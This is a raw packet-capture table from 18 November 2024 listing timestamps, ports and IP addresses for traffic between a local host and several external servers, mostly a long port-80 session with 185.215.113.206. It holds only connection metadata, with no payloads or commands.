Nov 18, 2024 13:29:27.908915043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.908936024 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.908947945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.908957958 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.908991098 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.909292936 CET	443	49782	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.909542084 CET	49782	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.909557104 CET	443	49782	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.910727024 CET	443	49782	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.911075115 CET	49782	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.911273003 CET	443	49782	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.943022013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.943039894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.943110943 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.952595949 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.952626944 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.952800035 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.952800035 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.952811956 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.953005075 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.965862036 CET	49782	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:28.011462927 CET	49783	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:28.011497974 CET	443	49783	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:28.023705959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.023730040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.023741961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.023755074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.023767948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.023778915 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.023788929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.023802996 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.023819923 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.023845911 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.024020910 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.024033070 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.024075985 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.024108887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.024121046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.024135113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.024144888 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.024149895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.024184942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.024205923 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.024353981 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.024518013 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.024755955 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.024815083 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.024840117 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.024853945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.024914980 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.063774109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.064040899 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.064227104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.064440966 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.068510056 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.068530083 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.068620920 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.068630934 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.068700075 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.141310930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.141320944 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.141374111 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.141408920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.141446114 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.141457081 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.141462088 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.141479015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.141494036 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.142024994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.142069101 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.142095089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.142107964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.142149925 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.142153025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.142194986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.142210960 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.142306089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.142318010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.142330885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.142350912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.142375946 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.142488003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.142508984 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.142529964 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.142589092 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.180558920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.180638075 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.180718899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.180798054 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.185544014 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.185570002 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.185616016 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.185627937 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.185659885 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.185688972 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.205867052 CET	443	49781	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:28.206482887 CET	49781	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:28.206506014 CET	443	49781	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:28.207238913 CET	49781	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:28.207246065 CET	443	49781	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:28.207277060 CET	49781	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:28.207285881 CET	443	49781	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:28.214113951 CET	49783	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:28.259516954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.259573936 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.259582043 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.259593964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.259607077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.259633064 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.259700060 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.259721041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.259732008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.259764910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.260004997 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.260016918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.260044098 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.260066986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.260078907 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.260291100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.260334969 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.260337114 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.260345936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.260392904 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.260448933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.260459900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.260499954 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.260659933 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.260682106 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.260754108 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.260776997 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.260834932 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.260893106 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.293384075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.293416023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.293468952 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.293495893 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.298535109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.298597097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.298616886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.298767090 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.305227995 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.305253029 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.305301905 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.305306911 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.305327892 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.305368900 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.377818108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.377886057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.377899885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.377918005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.377931118 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.377952099 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.377994061 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.378057003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.378129959 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.378138065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.378150940 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.378218889 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.378237963 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.378252029 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.378264904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.378281116 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.378309965 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.378895998 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.378916979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.378958941 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.378988028 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.411380053 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.411411047 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.411422968 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.411448956 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.411485910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.411525965 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.411540031 CET	443	49785	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:28.411829948 CET	49785	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:28.411842108 CET	443	49785	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:28.412286997 CET	443	49785	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:28.413671017 CET	49785	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:28.413742065 CET	443	49785	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:28.413893938 CET	49785	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:28.413893938 CET	49785	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:28.413925886 CET	443	49785	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:28.416474104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.416526079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.416528940 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.416662931 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.423173904 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.423202038 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.423286915 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.423286915 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.423295021 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.423691034 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.437702894 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:28.437980890 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:28.437993050 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:28.438333988 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:28.439050913 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:28.439050913 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:28.439074039 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:28.439120054 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:28.495699883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.495726109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.495737076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.495791912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.495841026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.495857000 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.495872021 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.495884895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.495908976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.495934963 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.495981932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.496315002 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.496607065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.496651888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.496654034 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.496664047 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.496725082 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.496874094 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.496933937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.496947050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.496984005 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.498594046 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.498632908 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.498678923 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.498698950 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.498737097 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.498737097 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.512571096 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:28.529470921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.529483080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.529495955 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.529508114 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.529546976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.529587984 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.534616947 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.534651995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.534665108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.534667015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.534699917 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.542535067 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.542557955 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.542603016 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.542608023 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.542635918 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.542675972 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.570435047 CET	443	49785	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:28.579157114 CET	443	49781	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:28.579183102 CET	443	49781	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:28.579227924 CET	443	49781	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:28.579292059 CET	49781	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:28.579303026 CET	443	49781	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:28.580750942 CET	49781	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:28.580750942 CET	49781	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:28.580760002 CET	443	49781	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:28.580907106 CET	443	49781	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:28.580940962 CET	443	49781	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:28.581008911 CET	49781	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:28.597181082 CET	443	49785	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:28.598494053 CET	49785	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:28.598781109 CET	49785	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:28.598798037 CET	443	49785	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:28.614027023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.614038944 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.614052057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.614082098 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.614120007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.614134073 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.614145994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.614185095 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.614257097 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.614301920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.614312887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.614329100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.614362955 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.614373922 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.614748001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.614805937 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.614905119 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.614916086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.614953995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.614958048 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.614969969 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.615009069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.615243912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.615293980 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.615298033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.615334034 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.627208948 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:28.627249002 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:28.627334118 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:28.627840042 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:28.627851009 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:28.658190012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.658211946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.658225060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.658236980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.658251047 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.658292055 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.658317089 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.662342072 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.662365913 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.662431002 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.662439108 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.662704945 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.697118044 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:28.697144985 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:28.697153091 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:28.697182894 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:28.697195053 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:28.697206020 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:28.697232962 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:28.697247982 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:28.697426081 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:28.697484016 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:28.732112885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.732135057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.732148886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.732206106 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.732213974 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.732240915 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.732254028 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.732299089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.732383013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.732394934 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.732404947 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.732436895 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.732464075 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.732827902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.732872009 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.732884884 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.732888937 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.732913017 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.732925892 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.732944012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.733304977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.733351946 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.733413935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.733474016 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.735688925 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.735717058 CET	443	49775	13.107.246.45	192.168.2.8
